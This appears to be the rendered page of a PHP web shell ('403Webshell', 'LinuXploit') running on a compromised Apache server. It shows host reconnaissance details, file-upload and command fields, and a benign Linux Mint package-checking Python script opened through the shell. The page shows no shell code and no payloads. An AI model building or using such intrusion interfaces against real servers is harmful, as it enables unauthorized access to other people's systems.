403Webshell
Server IP : 107.13.46.68  /  Your IP : 216.73.216.232
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux mariOS 6.8.0-51-generic #52-Ubuntu SMP PREEMPT_DYNAMIC Thu Dec 5 13:09:44 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/linuxmint/mintUpdate/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/linuxmint/mintUpdate/checkWarnings.py
#!/usr/bin/python3

import sys
import apt_pkg

try:
    selection = sys.argv[1:]
    #print ' '.join(str(pkg) for pkg in selection)
    packages_to_install = []
    packages_to_remove = []

    apt_pkg.init()
    cache = apt_pkg.Cache(None)

    depcache = apt_pkg.DepCache(cache)
    depcache.init()

    with apt_pkg.ActionGroup(depcache):
        for package in selection:
            pkg = cache[package]
            #print "Marking : %s to install" % pkg.Name
            depcache.mark_install(pkg)

    depcache.fix_broken()

    #print "Install : %d" % depcache.inst_count
    #print "Remove : %d" % depcache.del_count

    # Get changes
    for pkg in cache.packages:
        if (not depcache.marked_keep(pkg) and
                (depcache.marked_install(pkg) or depcache.marked_upgrade(pkg)) and
                pkg.name not in selection and
                "%s:%s" % (pkg.name, pkg.architecture) not in selection and
                pkg.name not in packages_to_install):
            packages_to_install.append(pkg.name)
        if depcache.marked_delete(pkg) and pkg.name not in packages_to_remove:
            packages_to_remove.append(pkg.name)
    installations = ' '.join(packages_to_install)
    removals = ' '.join(packages_to_remove)
    print("%s###%s" % (installations, removals))
except Exception as e:
    print(e)
    print(sys.exc_info()[0])

Youez - 2016 - github.com/yon3zu
LinuXploit